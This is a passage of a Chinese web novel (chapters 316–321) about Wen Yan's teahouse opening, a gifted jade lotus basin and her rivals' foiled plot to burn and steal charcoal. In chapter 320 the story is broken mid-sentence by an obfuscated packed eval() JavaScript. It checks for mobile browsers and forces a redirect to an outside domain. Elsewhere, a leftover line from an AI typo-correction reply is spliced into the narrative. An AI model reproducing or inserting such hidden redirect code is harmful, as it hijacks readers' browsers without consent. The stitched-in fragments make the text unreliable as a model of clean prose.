闻颜忍着笑:“希延大哥,真是难为你了。” 孟希延深吸一口气,咬牙切齿:“还不是迟飞那丫头,出发前特地命令我,必须要按她的流程走,不然回来就要拔我腿毛。” 他边走边敲锣,还要喊:清风小楼开业大吉。 他一年的尴尬,今天全用光了。 “扑哧……也只有迟飞姐姐能让你做到这个份儿上。大哥,你进院子里坐会儿吧。 我们店里的园景和点心茶水很不错的,我们店只有今天接待男宾,以后就只会接待女客,你可要珍惜这次机会哦!” “那我就趁此机会,带着弟弟妹妹进去逛一逛。”孟希延正要进去逛逛,孟二婶婶就来了。 也带着自家的几个儿女。 孟二婶婶就含蓄多了,不过送来的礼物却很大方,直接送了一座珊瑚摆件进来。 正在寒暄,忽然听见一声惊呼:“闻颜姐姐!” 循声看去,就见一个粉雕玉琢的锦衣男娃娃,直接跳下马车,飞奔向闻颜。 “泰王孙!”闻颜没想到他会来。 泰王孙像颗小炮弹一样奔向闻颜。 泰王孙虽小,但这么没轻没重地扑一下,闻颜这个小身板肯定抗不住。 眼看泰王孙就要撞到闻颜。 孟希延猿臂一捞,泰王孙也就被他揪着狐皮领子提了起来。 “松开小爷!大胆狂徒知道小爷是谁吗? 惹得小爷不高兴,小爷揍得你全家趴窝。 嗷嗷嗷……”泰王孙扑腾着小胳膊小腿,嗷嗷直叫。 “你要揍谁啊!”孟希延把泰王孙提高到与自己视线平行的位置。 说完,还在他屁股上抽了一巴掌。 “嗷……”泰王孙惨叫一声,看清来人之后,他小脸一垮,差点就哭出来:“……延……延哥,呜呜我错了,我以后再也不会揍人了。” 泰王孙转头向闻颜求助:“颜姐姐,救我啊!” 闻颜看了孟希延一眼,他刚刚那么尴尬,现在最好还是不要惹他生气! 她回以一个“爱莫能助”的眼神。 这回,泰王孙是真的哭了。 第316章:名扬京城 “延哥哥欺负人。延哥哥大人欺负小孩,呜呜……我好惨啊。我是京城里最可怕的小孩了,呜哇哇……”泰王孙哭得可惨了。 孟希延:“……” 他拳头紧了又松,松了又紧,强忍下把他屁股打开花的冲动,把人放了下来。 泰王孙一落地,就跑到闻颜身后躲起来:“颜姐姐,你看他打我,颜姐姐你要保护我。” 他拉着闻颜的衣袖摇来摇去,他还眨巴着一双水汪汪的大眼睛看着她。 闻颜的心瞬间就化了,连忙从中调停。 孟希延也就吓唬吓唬他,揪着他的后领,就和大家一起进了园子。 泰王府的家仆也在此时送上贺礼,竟是一座以白莲为主题的白玉盆栽。 玉质通透温润,难得的是一整块巨大的玉石雕琢而成。 路边立即有人认出了玉雕的出处。 那人语气格外激动地道:“这不是前朝玉雕大师的玉莲盆吗?” “什么?这就是玉莲盆?” 玉莲盆之所以美名在外,不仅仅是它巧夺天工的雕刻工艺,更是因为这个玉雕有个神奇之处。 只要往玉盆里流入浅水,茶叶就会染上绿色,花朵则会染上一抹粉色。 若是再往盆里放上几条小金鱼,这座玉雕就会活灵活现,仿如真莲。 “不是说它在前朝末帝出逃时,被打碎了吗?没想到竟然在泰王手中。” “我记起来一件事。 你们还记得三十年前,泰王妃嫁入王府时,十里红妆,有二百四十抬嫁妆。” “当然知道啊。 当年可是惊动全城。第一件嫁妆已经入了泰王府,最后一件嫁妆还未出门。就算是现在那些王公贵族嫁娶,泰王妃就要被拉出来议论对比一回。 “当时就有传言,说这些嫁妆里,有一件传世玉器,它的价值能买下一座城。当初好多人不信,现在看来,便是这玉莲盆了。 “可这怎么看,就是颇有巧思的玉摆件,怎么也不到能换一座城的程度吧。”有人质疑道。 “是啊,不是说真品已经毁了吗?这一个说不定只是仿品。 那人得意地哼了一声:“我家是祖传的古董商人,祖上也是阔气过的。 与那位雕刻大师有交情,不仅亲眼见过的,还收藏过玉莲盆的画作。 画师在当时也很有名气,此画一直被家中收藏。 这个故事,我们家一代一代传下来的,怎么可能会错。 而且,要鉴别此玉莲盆真假,只需往盆中浇水,荷叶莲花变色,便是真的。 当即就有人向闻颜提出请求,希望她能往盆中浇水,既能证明真假,也能证明真伪。 闻颜怎么可能会往里面浇水。 且不论,当众鉴别他人送的礼物真假,本身就很失礼很得罪人。 再者,此物就算是仿品,也价值不菲。 这么贵重的物品,她是断不会收下的。 闻颜礼貌拒绝。 那些凑热闹的人,便开始怀疑玉莲盆的真假:“她遮遮掩掩的,不会真的是假的吧。她和泰王孙唱双簧,就是想给自己的铺子抬脸。” “兴许就是如此。啧啧啧,都说商人重利,没想到她的胆子这样大,竟然敢让泰王府给她当垫脚石。 此事若是传到泰王耳中,她就完了……” 那些人议论纷纷,指指点点,不过闻颜并不在意,正要叫人把东西抬进院子,好好保管。 泰王孙就从院子里跑了出来。 他捶着腰,气鼓鼓的反驳:“哼!颜姐姐才不是这样的。你们想看就给你看好了。” 泰王孙不知从哪里弄来一碗热茶,直接从一朵朵莲花上浇下。 “不要……”闻颜想阻止,大庭广众之下自证清白,影响名声。 若是传到泰王耳中,自己恐怕真的没好果子吃。 泰王孙的小厮将她拦住:“闻颜小姐,您看着就好了,这也是为王府的名声着想。” 闻颜只得停住脚步。 随着热茶浇完,原本清秀的白玉尖,渐渐变红。 将盆中热水倒掉,再注满清水。 荷叶也从茎干上,一点点往上变绿。 围观之人哇声不断。 “原来真的会变色!这也太神奇了。 而且它不是变一种颜色,而是变成两种颜色。 这到底是什么玉? 竟会如此神奇?” 众人惊呼不已,讨论连连。 泰王孙掐着腰,下巴高傲地抬起:“哼!让你们质疑我颜姐姐!这下总该相信了吧!” 天气寒冷。 玉莲盆上的颜色很快消退,礼物也直接送进院子里。 这边刚走,恭太妃又派人上门送礼。 太妃娘娘的礼物中规中矩,但她能派人过来,就已经是最贵重的礼物。 许是他们这几位举足轻重的人物起了作用,后续不断的有客人上门送礼。 不仅有商户,还有一些官员家眷送礼恭贺,不过品级并不高。 闻如月和江心葵隐藏在人群里。 闻如月咬牙切齿:“瞧闻颜那小人得志的样儿,一副没见过世面的样子。” 江心葵的脸色也臭得很:“不出半个时辰,玉莲盆的消息就会传遍整个京城,这家店也会跟着出名。” “我的店铺亏损,凭什么她的店铺就能蒸蒸日上,日进斗金。”闻如月捂着胸口,感觉肺都快气炸了。 江心葵拍着她的手,“你啊,都是世子夫人了还这么沉不住气。 别忘了我们的安排,就让她再高兴一会儿吧,等到明天,她连哭都哭不出来。” 闻如月臭臭的表情这才好一点。 她问身边的丫鬟:“现在什么时辰了?” “回世子夫人的话,刚到午时。” “那边差不多也开始了。”闻如月勾了勾唇。 此时,距离京城不远的孟家庄子里。 一行人大张旗鼓地来到村庄的一座大宅子前。 大宅子守卫严密,隔了百米远,这一行人就被人拦住:“你们是什么人,来这里干什么的?” 一行人的领头眼神躲闪了一下,这才清了清嗓子道:“我们是闻颜的人,是来运木炭的。” “手信呢?”守卫问道。 领头人立即拿出一张纸,递了过去。 守卫仔细辩认之后,惊讶道:“这次怎么要运这么多!几乎是库房里的一半了。” 以上是错别字的修改内容,其他内容未发现明显错别字。如果需要进一步修改或有其他问题,请随时告诉我。 第317章:闹事 守卫对手下使了个眼色:“带他们去搬货吧。” “好。”他的手下,领着那些人朝存放库房走去。 木炭一包包被人扛出来,放到马车、牛车上运离庄子。 中途休息时。 一个扛包工,借着休息去找守卫聊天,他笑嘻嘻,一脸讨好地问:“这个庄子好大啊!你们在这里做工,待遇怎么样?扛包挣的都是血汗钱,我也想找个长期的活。你能给我介绍不?” “你想来的话,我当然可以给你介绍啊。你不知道,我们最近缺人得很。我们有好多个仓库,压根守不过来。” “这个庄子看着不大,还有许多仓库吗?我怎么一点看不出来啊!” “这个村里的砖瓦房,都是仓库。上百万斤炭,都存放在里面。” 扛包的工人目光闪了闪,又敷衍的聊了几句,就道:“我去解个手,一会儿要拉着扛包了。” 他离开之后,就绕去找了头领,一阵交流。 因为车辆有限,那么多炭,一时半会儿是运不完的。 他们一直运到半夜,负责拉货的人,对搬运的领头道:“我们城里的仓库已经装不下了,最后一批炭运完就不用再运了。 剩下的炭,记得全部清扫干净。” “放心吧,这点事包在我身上。” 黎明将近。 夜空黑沉沉的,孟家的庄子里,突发大火。 不过火势很快就被控制住了。 当然,这些都是后话。 京城这边。 过了午时,清风小楼的客人就突然多了起来。 全都是慕名而来,想要一睹玉莲盆的风采。 闻颜带着侍女清点完餐具,从皇后所在的邀月小居出来,就遇上一行客人朝这边走来。 “哟,这就是清风小楼?外面吹得它有多漂亮,有多厉害,看起来也不过如此嘛! 那个玉莲盆呢? 放在哪里?怎么不摆出来让我们看看?” “你们是不知道,我那个外甥女,哦不对,是前外甥女,她啊,兴许是骨子里带着穷酸,什么东西都护得紧。 像玉莲盆这种东西,她怎么可能摆出来让大家欣赏。” 说话的人,正是江心葵的娘家大嫂。 她的话音刚落,就与闻颜他们碰个正着。 “廖夫人,梅夫人,傅夫人,还有江舅妈,欢迎你们来玩。” 几位夫人跟江家大嫂交好,对闻颜鼻子不是鼻子,眼睛不是眼睛的。 趾高气昂地要求闻颜把‘玉莲盆’拿出来,给他们看看。 “抱歉,玉莲盆不作展示。”闻颜笑着拒绝了她们,“你们都是极有教养的贵夫人,应该不会无理又强势的强人所难吧。” 几位夫人被她的话噎住,脸色难看地朝邀月小居走去。 却在门口被侍女拦住:“抱歉,几位夫人,邀月小居今日不对外开放。” “什么意思?”江家大嫂立即就炸了。 她转头就去找闻颜:“闻颜,你什么意思?故意下我面子是吧! 你新店开业,我好心好意带着人来给你捧场,你不领情就算了,还处处跟我作对,让我难堪。 你是不是故意针对我!” 闻颜连忙解释:“江大舅妈,您误会我了,不是我针对您,而是这个院子有重要的客人不能打扰。 你看这样行不行,我带你们去看玉莲盆,作为补偿行不行?” “呵! 什么重要客人,比我们这么多人还重要? 别忘了,江心葵养了你这么多年,你就是这么对我的? 玉莲盆我们要看,这个院子我们也要去。” 江家大嫂倏地拔高了嗓门,气鼓鼓地道。 “哎,别……”闻颜连忙上去捂她的嘴,“江大舅妈,您小声一点。 里面那位客人喜静,惊扰到她我们都没好果子吃。 “你放屁! 你认识些什么我还不清楚? 除了孟家那位,你还能认识什么大人物?” 虽然她最近巴结上了恭太妃,可她都打听清楚了,恭太妃根本没来,只派下人送了个礼过来。 至于孟家那位白夫人,早就去北境了。 其他权贵人家的夫人,更不可能纡尊降贵今天亲自到场。 “说不定里面的是什么阿猫阿狗……”江家大嫂拔高了音量,故意说给院子里的人听。 闻颜吓了一跳,连忙叫来侍女过来把她拉走。 “闻颜,你放肆。 她好歹是你舅妈,你怎么能这样对她。” “还不快去帮忙。”江家大嫂的同行的夫人,立即吩咐身边的下人。 眼看两边越闹越大,闻颜差点晕过去。 要是惊扰到皇后娘娘,她有十个脑袋都不够砍的。 没办法,只能挺而走险了。 闻颜拔下头的发簪,挑中身份最高的傅夫人,几步走过去,一把勒住她的脖子,手里的簪子抵在她的脸上:“让所有人都住手,不然我划花你的脸。” 傅夫人吓得一声尖叫:“你……你要干什么……” 邀月小居的院门从里面打开。 蓝心姑姑站在门内,脸色冷沉地道:“你们在干什么?” “阿猫阿狗终于敢露脸了……”江家大嫂转过身来,看见蓝心姑姑就‘呸’了一声。 江家最高的官职也只有五品,江家的妇人都没有诰命。 他们从未进宫过,自然也不认得皇后娘娘身边的人。 傅夫人吓得面无血色,大声呵斥道江家大嫂:“你闭嘴。” 江家大嫂并不傻,一看傅夫人的脸色,就知道院子里的人,自己真的惹不起。 她连忙道歉:“抱歉,我们……我们……” “我让你说话了吗?”蓝心姑姑冷冷盯着江家大嫂。 江家大嫂连忙低下头,一声不敢吭。 闻颜见状,连忙站出来请罪:“蓝心姑姑,是我管理不善,才闹出这些事,请您责罚。” 蓝心姑姑看了闻颜一眼:“他们该罚,你也逃不了,赶紧把这些闲杂人等都清理走。” “是。”闻颜应了一声,立即领着傅夫人他们离开。 等走远了,江家大嫂这才问道:“刚才那个究竟是什么人啊?派头还挺大的。” 傅夫人的脸色还没缓过来,见江家大嫂还是不以为意的轻松样子。 她心里就来气。 凭什么自己在这里担惊受怕,她却能像个没事儿人。 既然如此,你就再轻松一晚吧。 她一个眼神,就制止了其他要解释的夫人。 几位夫人交换一个眼色,都找借口离开,回家找夫君商量对策。 第318章:嘿嘿,炭到了 挑事的人走了。 闻颜也松了一口气。 佩儿有些担忧地道:“刚才打搅到皇后娘娘,不会治我们的罪吧。” 闻颜朝她做了一个封口的手势,“对了,我交待你一件事。” 闻颜对佩儿一阵低语:“你快去快回。” 佩儿点点头,飞快地跑出门了。 经过江家大嫂闹事,闻颜不仅加强了邀月小居的看护侍女,还直接封了通往这里的三处月亮门。 把整个邀月小居守得密不透风,闻颜才放心。 好在整个下午都很顺利,没再发生什么意外。 过了酉时,皇后就准备离开。 闻颜低着头走进屋中:“今日惊扰到娘娘,民女罪该万死。” 说完,她就跪下请罪。 脚在裙摆上绊了一下,膝盖磕在地砖上,发出清脆的一声“咚——” 皇后母子三人,不约而同地瞪圆了眼睛。 这声音,听着就疼得慌。 这位颜老板,未免太实在了。 闻颜倒吸一口气,痛得直翻白眼,还好她低着头,皇后娘娘看不见。 “蓝心快把她扶起来,可别把膝盖磕坏了。” “谢娘娘。”闻颜站了起来。 皇后的态度,是免了先前的罪责了吧! 果然。皇后没再提这件事儿,领着两个小殿下就起身离开了。 闻颜一路恭送至后门。 将一个大包袱交给蓝心姑姑:“这里面是迟飞姐姐店里新出的款式,迟飞姐姐特地叮嘱我给娘娘和二位殿下送一份。” 孟迟飞都走好几天了。 皇后娘娘昨天收到请柬,今天突发奇想决定来一趟。 孟迟飞想送的礼,哪轮得到她来转送。 不过是借着迟飞小姐的名义,送东西讨好皇后罢了。 不过蓝心姑姑也没拆穿,而是将东西收了下来。 送走皇后一行人,店铺也到了打烊时间。 开业第一天,就这样有惊无险的度过了。 因为今日免费开放游玩,所以并未有营业入账。 关店之后,闻颜在酒楼订的席面就送了过来。 “今日第一天开业,大家又紧张又辛苦,今儿我做东犒劳大家一顿好的。” “谢谢东家。”虽然很累,不过大家都累并快乐着,晚饭又都是好吃的人,大家都很尽兴。奖励完员工,闻颜就和佩儿回了一点墨。 “佩儿,我们早点歇着,明儿一早还要早起办事。” “好嘞!”佩儿飞快地端来热水,让闻颜先洗漱着,她就去铺床。 没一会儿,闻颜和佩儿就躺在床上休息了。 许是白天邀月小居冲突的事吓到了佩儿。 到了后半夜,佩儿突然开始做恶梦,说胡话。 闻颜大半夜爬起来给她熬安神茶,点安神香。 好不容易把她哄睡了,也到了出发的时间了。 佩儿好不容易睡着,闻颜不忍心叫醒她,就独自骑着马就出门了。 黎明前的京城格外安静。 马蹄哒哒哒的声音,像是在空旷的街道回响。 幽深的街道黑越越的,偶尔几盏灯笼,散发着幽深昏黄的光。 让眼前的景致格外诡异。 闻颜轻夹马腹,让它走快些。 街道上很快就起了雾。 雾气里传来阵孟盔甲之声。 “我的勒个怪怪,不会是遇上阴兵借道了吧!”闻颜后脊背一凉,蹿出一层冷汗,她把斗篷裹得更紧一些,骑着马儿,避到一旁的小巷之中。 ‘阴兵’很快显露真身,并且发现了闻颜:“你是何人?为何在外面瞎晃荡不回家?” 原来是巡逻的官兵,闻颜自己吓自己。 她赶紧回道:“我去镇国将军府有事,不是有意乱晃荡的。” 报信都是小厮在送。 眼前是个女子,还穿着华贵,尴尬没有深更半夜亲自登门的意思。 巡逻兵并未轻信闻颜的话,并派了三个人,亲自送闻颜过去。 好在孟家不远,很快他们就走到了。 只见孟希延已经带人等在门外。 “希延大哥。”闻颜几步迎了上去。 孟希延看了一眼巡逻兵:“他们怎么回事?” “是巡逻的官爷,他们担心我一个弱女子独行不方便,就派了三个人保护我。” “那应多谢诸位了。”孟希延朝他们点头致意一声。 “你们帮助家中小辈,感激不尽。” 说着,他朝身边的小厮丢去一个眼神。 小厮立即塞了一个荷包过去。 巡逻兵拿到荷包,手中只觉得一沉,心中大喜,连忙行礼道:“小将军放心,今日巡逻,我们并未见过任何女眷。” “有劳了。”孟希延拱了拱手,他们就离开了。 等人走远了,孟希延立即皱眉盯着闻颜:“你怎么一个人过来了?你的黑眼圈怎么如此重,都快垂到胸口了。” 闻颜:“……佩儿受了惊,我没有叫她。再说了,我不是平安无事过来了嘛!” 孟希延长叹一口气,把训斥她的话又硬生生地咽回肚子里。 闻颜看出他在生气,连忙转移话题:“那个……时间不早了,再过一会儿城门就开了,我们先去办事吧。” “走吧。” 孟希延领路,他们很快就来到一座宅子前。 闻颜看了看四周环境,冷笑:“那对母女还真是一点都不避讳。这里是江心葵给闻如月的陪嫁宅子。” “这对母女确实嚣张,她们当真不怕查到头上?” “查到又如何,他们有千百种理由为自己开脱,实在不行还可以用孝道、恩情来逼迫我。” 孟希延嘴上不说,却哼了一声,表示对江心葵母女的不屑。 “庄子上那边没事吧?” “纵火的人已经全部抓住了。” “那我们什么时候行动?” “他们的货还有大半没运进来,再等一等,城门打开之后,他们会趁着天色未亮之时,把炭运进来。到时我们再收网。” 他们找了一处背风的房顶,静静等待着。 没过多久。 城门口方向就隐约传来人声。 不一会儿,就见一排排马车朝这边驶来,最后停在闻如月的陪嫁宅子前。 用敲门声对过暗号之后,宅门从里面打开。 长工扛着一袋袋炭进了院子。 一个多时辰后,天光熹微之时,运炭人运完最后一批炭。 一个领着的人,揣着一个账本,几次弯弯绕绕之后,才朝闻府而去。 闻颜他们才开始行动起来。 第319章:炫耀过头了 孟希延一扬手,他带来的人翻墙进入院子后,里面就传来剧烈的打击声。 没一会儿,就有从翻墙出来。 孟希延掰下一角瓦片扔过去,砸在那人头上,当即即就晕了过去。 不到一刻钟,宅子里里外外就被清理干将,又全部换上了孟希延的人。而原本的护卫被人绑起来后,塞进马车里全部运走。 至于这么多炭,想要在短时间内转移并不是一件易事。 所以,闻颜他们根本没有想过转移。 “闻如月还还真会挑,拿的全是好炭。 现在还不是最佳出售时间,不过还是运一部分去孟家的铺子里售卖。 不过价格一开始就定得很高,是别家铺子的三倍。 剩下的也懒得搬来搬去,仍是留在此处,由孟希延的人看管。 事情搞定。 “大家忙活了一早上,我请大家吃早食。”闻颜请孟希延出门吃早食。 “我要吃排骨面。” “好啊,我要吃灯瓦市的馄饨面,加两个鸡蛋。” “我要吃五碗馄饨。” 他们一行人,说说笑笑去了馄饨摊。 闻颜用二两银子,把整个馄饨摊包下来。 “哥哥叔叔们吃好喝好,我就先回家去了。”她打包了三份,提着食盒跟孟希延道别:“我今日还要去各家送谢礼,就先走了。” 孟希延放下碗筷,“我送你回去吧。” 闻颜婉拒后,翻身上马就离开了。 闻如月找过来,发现她费钱费力弄到的炭,重新回到自己手里。 不知要气成什么样! 闻颜想到闻如月气到翻白眼的样子,心情别提有多好了。 闻颜回到‘一点墨’,佩儿就站在屋檐下,撅着嘴盯着她:“小姐,你出门为什么不叫我!” “我看你睡得香,就不舍得叫醒你啊。” “哼!你骗我!”佩儿生气地跺脚,“你就是嫌弃我拖累,故意不带我的。” “哎呀呀,我家佩儿真的生气啦! 瞧这白净净,粉嘟嘟的脸蛋,都气得大了一圈。 还有眼睛都红了,看着可真惹人疼。 佩儿宝宝,快到小姐怀里的,小姐疼你!” 闻颜一把抱住佩儿,捏捏她胖嘟嘟的脸蛋,又轻轻拔了拔她长长的睫毛。 佩儿生气地跺跺脚:“小姐,你从哪儿学的这些浪荡公子哥的举动,讨厌死了。” “哦哟,谁让我家小妹妹生气了呢?我又不会哄小姑娘,只好学一学外面那些浪荡公子哥,哄小姑娘的手段啰? 你还生不生我的气啊?你若是还要生气,我只好继续学……” 佩儿又羞又恼,圆圆的脸蛋绯红。 佩儿一把捂住她的嘴:“小姐你住口,别再说了,让旁人听见可怎么办!” “怕什么,这里又没有……”她的话还没说完,就听二楼方向传来说话声。 “已经晚了,你们的话我全都听见了。” 佩儿吓了一跳,紧张地看向声音方向。 “姑爷!” 是自己人,这样就不会传坏小姐名声了。 佩儿大大松了口气。 不对! 姑爷亲耳听到了。 如果她介意小姐……放浪形骸的样子,因此影响到夫妻之间的关系,岂不是比外面的谣言更可怕! 她再度紧张地绷紧了小脸。 闻颜捏捏她的脸,抬头看向应知林:“你怎么过来了?” 应知林道:“昨天是最后一课,今儿开始做年假,所以我就过来了。” “你出发得够早的啊!”闻颜玩笑道。 从松山村到京城,坐马车要一个多时辰。 应知林此刻现身‘一点墨’,只能说他天不亮就出发了。 “那可不!小海寅时就开始催我了,每一刻钟进来叫我一次,我想晚一点都不行。”应知林一脸苦笑,指着自己的眼圈,“你看我的黑眼圈,比你的还大。” 佩儿看看应知林,又看看闻颜,然后‘扑哧’一声笑出来,“你们两个的黑眼圈都好大,倒是挺像一对。” 闻颜揪她脸颊。 佩儿痛得直哼唧,“小姐,你松开我,我以后再也不乱说话了。” “这才差不多!去叫苏合过来吃早饭。”闻颜这才松开她,晃了晃手里的食盒。 “是灯瓦市陈大爷家的馄饨吗?” “嗯。” “太好了,我最喜欢吃陈大爷家的馄饨了。”佩儿欢欢喜喜的嘴馋去铺面叫人了。 闻颜对,“下来一起吃吧!” 应知林:“好啊!” 早饭过后,闻颜先找人给昨天送礼的人家送拜帖,就去补觉。 许是吃饱喝足,闻颜躺下闭上眼睛就睡着了。 到了午时才被人叫醒。 “小姐,快起来洗漱吧,下午还要去各家回礼,好多事要忙活呢。” “都有哪些人家由我们的拜帖了?” “都收下了,不过恭太妃回宫了,不在公主府,您下午不用去了。” 闻颜想了想,拿起眉黛写下一串清单:“按照这个备一份礼。太妃我们可以不见,但礼还是要送到的。” 闻颜精心梳洗打扮一番,吃过午饭就准备出门。 应知林赶着马车等在后院门口。 “又来给我当车夫?”闻颜调侃他,上了马车。 “反正闲着也是闲着,走吧,早干早收工。” 其实昨天送礼的人并不多,闻颜按照礼单逐一拜访。 又给恭太妃送去谢礼,最后才去了泰王府。 她很快就被领进了王府。 泰王孙像只小兔子一样,在正厅门口蹦蹦跳跳:“颜颜姐姐!” 闻颜大步走正厅。 泰王已经坐在厅中,神态闲适地喝着茶。 闻颜一一见礼:“见过王爷,见过王孙。” “颜颜姐姐,快免礼快免礼。” 泰王神情还算和气,朝闻颜点了点头。 闻颜依言起身,然后让应知林把礼盒放在桌上。 打开礼盒之后,闻颜道:“王爷,这是玉莲盆,许是昨日王孙太匆忙,拿错了礼物。 今日我特地将它送回。” 泰王挑了挑眉,没想到她能抵住这么大的诱惑,把东西还回来。 泰王道:“既是我孙子送给你的,那便是你的了。我姬家人送出去的礼物,没有收回的道理。 你带回去。” “这个礼物太贵重了,我不能收。” “这只是我妻子嫁妆里平平无奇的一件,你放心收下就好。” 闻颜:“……” 人言否。 能换一座城的盆栽,竟然是最平平无奇的一件。 泰王你炫耀过头了啊! 第320章:新店开张了 泰王坚持不肯收回玉莲盆。 闻颜只能厚着脸皮地重新把东西带回。 闻颜又送上另一份礼物。 是她用店里,最顶级的皮草制作的皮裘帽子、手套、围脖。 帽子上镶着宝石,精致雅致,一看就很贵。 不过跟玉莲盆比起来,三件套连九牛一毛都比不上。 不过泰王孙很喜欢就对了。 泰王看着提礼盒的应知林:“看他的穿着和打扮,并不像是你家的下人。” 闻颜摆摆手:“他不是下人,他是我的夫君应知林。” “此次乡试的解元应知林?”应知林站出来见礼道:“见过泰王,正是在下。” 泰王看着他点点头:“是个好孩子。” 从泰王府出来之后,闻颜又去了一趟将军府。 孟希延不在家,她和桃姨娘聊了会儿,又去见了孟家二婶婶。 二婶婶看见闻颜,冲她招手:“快过来,我正有事儿要找你。” “二婶婶,是什么事?我能帮上忙的,一定义不容辞。” “这不是年关了嘛,我有个好姐妹从外地回京,想举办一个聚会。 她刚回来嘛,家里的宅子空置了好几年,什么都破破旧旧的。 人手也不足,没办法办聚会,我就向她推荐了你。” “二婶婶您就把心放进肚子里吧。 您特地为我拉来的单子,我肯定要使出浑身解术,把它操办好!” 太好了,新店终于开张了。 “好。这事就交给你来办了。”二婶婶拿出五百两银票给闻颜,“这些订金,后面就靠你来安排了。” “您就放心吧,我保准办得让您满意。” 谈好包场价格,闻颜打了个七折,是对第一个客户的优惠。 ** 皇宫。 蓝心姑姑领着两名宫女,抱着一只大包袱进入皇后娘娘的宫殿。 “这是什么?”皇后抱着手炉,歪在美人靠上昏昏欲睡。 “是昨儿闻颜给的回礼,要拆开看一下吗?” 皇后娘娘没什么兴趣,公主殿下却兴致勃勃:“快打开。闻颜那里的东西可有意思了,我想看她准备了些什么。” 蓝心姑姑便将包裹拆开。 “哇,是帽子,****好舒服!是兔毛吗?还有两个小垂耳。” “这个六棱挎包好好看。绿色沉稳,镶嵌的五色宝石又显一些活泼不沉闷,最配母后的气质了。” “还有这个围脖,上面的绣花和**球真可爱……” 皇后拿过六棱手包看了看:“确实很漂亮。以前迟飞说她心灵手巧,我只当是绣工出彩一些,没想到心思能这般灵巧。” 蓝心姑姑:“五公主的眼光真好,由您拿着,这包看着身价都翻了好几倍。” “你啊,就是嘴甜。既然攸宁喜欢,就都留下吧。”攸宁是五公主的名讳。 皇后一声令下。 “谢谢母后。”攸宁扑进皇后怀里,撒娇地蹭蹭。 翌日清晨。 闻如月请安之后回到自己的院子。 她一边换上轻便衣裳,一边问服侍她的丫鬟:“忠福他们去烧庄子上的炭仓,回来了吗?” “回世子夫人,他们还没有回来。”丫鬟扑通一声跪下回话。 “什么!前天晚上的事,这么久还没回来复命!又去哪里胡作非为了?要是敢耽误我的正事,看我不扒了他的皮!废物,全都是废物。没一个能用的。”闻如月气得吹胡子瞪眼,一会儿之后,她终于意识到事情不对劲。 “派几个人去孟家的庄子上打听打听,看看忠福他们到底怎么回事。”她又重新换上衣服,回了闻府一趟。 “去放火的人一天两夜了还没回,指不定是被他们抓住了。” 母女俩越想越不踏实,又等不及去庄子打听消息的人回来,当即决定去囤货的宅子看一看。 闻颜正在给孟二婶婶的朋友规划订单,佩儿就匆匆找来:“小姐,将军府来人了,说是有急事找您。” “我这就去。”闻颜放下毛笔就大步走了出去。 来人是孟家的外管家。 “叔,发生什么事了?” “闻颜小姐。”看见闻颜,他立即站了起来,“是囤炭那边。江心葵母女找过去了。” “那我们快走。闻如月撒泼起来凶得很。佩儿佩儿,我们的马呢?快牵出来。” “夫人,请上车吧。”一辆马车停在门外,应知林拿着马鞭,笑盈盈地看着她。 “你怎么知道我要用车?”闻颜大步走过去,坐上马车。 “你昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474377|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚不是说要采购看货吗?我今天去外面转了转,整理了一些货物清单,你可以挑挑看。”应知林递了一个册子给她:“喏,你看看,有看上的就标注一下。这几天你专心忙你的,我去采购。” 闻颜认真看完,不得不说,应知林真的靠谱。 清单做得非常详细。 物品、店铺、地址、价格、以及优缺点,都非常的详细。 闻颜把东西选好,他们也到了目的地。 闻颜下了马车,就见院门大开。 院中孟希延已经和江心葵母女对峙上了。 闻如月愤怒地指着孟希延:“这是我的宅子,放在里面的东西,怎么就不是我的?” 孟希延手一甩按在门上:“现在这房子在我手上,它也是我的了?” “你……你强词夺理!”闻如月气得脸都紫了。 闻颜扑哧一声笑出来,没想到孟希延还有这般调皮的模样。 “闻颜,又是你!你和孟希延联手整我!”闻如月目眦欲裂。 气死她了。 重生后,但凡跟闻颜相关的事,她就没占到一点便宜。 闻颜摇着手指:“错错错!怎么是我们联手整你?分明是你们自己往坑里跳。” “你说这些炭是你的,你有什么证据吗? 是有订单契书?还是有结账开得回票?亦或是有第三方见证人?” 闻如月当然拿不出来。 当初为了把事情做得干干净净,那些伪造的票据应该都葬身火海。 “我拿不出来,难道你就拿得出来?”闻如月嘲讽回去。 “我当然拿得出来。 喏,你要不要看看?”闻颜拿出一本账本,在闻如月面前晃了晃。 闻颜随便找了一只麻袋:“编号福六二的麻袋,我看看哈,栗木炭,整袋九十三斤。” “栗木炭,没错。”闻颜挑开系口,拿出一块炭在闻如月面前晃了晃。 “哦,对了,除此之外,我还有提货票呢!” 闻颜又拿出一张纸,怼到闻如月面前。 闻如月看清纸上内容之后,瞳孔倏地放大。 这这这…… 这竟然是她伪造的提货票。 它不是应该被烧毁在仓库里吗? 怎么会出现在闻颜手中? 第321章:哼,只能便宜闻颜了! 莫非,他们的计划,已经被闻颜识破了? 不对! 孟希延现在帮着她出头,那自己烧孟家仓库的事,他岂不是也知道了。 闻如月心慌不已,朝江心葵投去求救的眼神。 江心葵心里也是一慌,但她很快就冷静下来。 “不过是一张货票而已,它能证明什么!”说罢,她就伸手去夺提货票。 只要把货票毁掉,闻颜就没有证据了。 闻颜后退一步躲开:“江夫人,你抢我的货票干什么,不会是想销毁证据吧。 孟大哥,你可要把它收好了,不然有人颠倒是非,我们可拿不出证据的。” 江心葵的表情扭曲了一下,挤出一抹笑容:“你在开什么玩笑,我就是想看仔细而已,别是你拿错了。” “看错?你当我的两只眼睛是摆设吗?”闻颜指了指自己的眼睛,“这上面写着什么,这字迹,我这对眼睛可是看得清清楚楚。” 江心葵母女吓得踉跄后退。 那张票据是闻如月模仿的闻颜的字迹,只有六七成相似。 但凡来个有经验的人,就能识出破绽。 所以。 闻颜早就知道一切。 那孟希延呢? 自己派人烧毁了他的庄子,他岂能善罢甘休? 江心葵脸色苍白地看向孟希延。 孟希延神情冷漠地回视她。 江心葵心里一颤,一股寒气直冲天灵盖。 她踉跄后退两步,拉着闻如月的手:“走,我们快走。” “可是那些炭……” 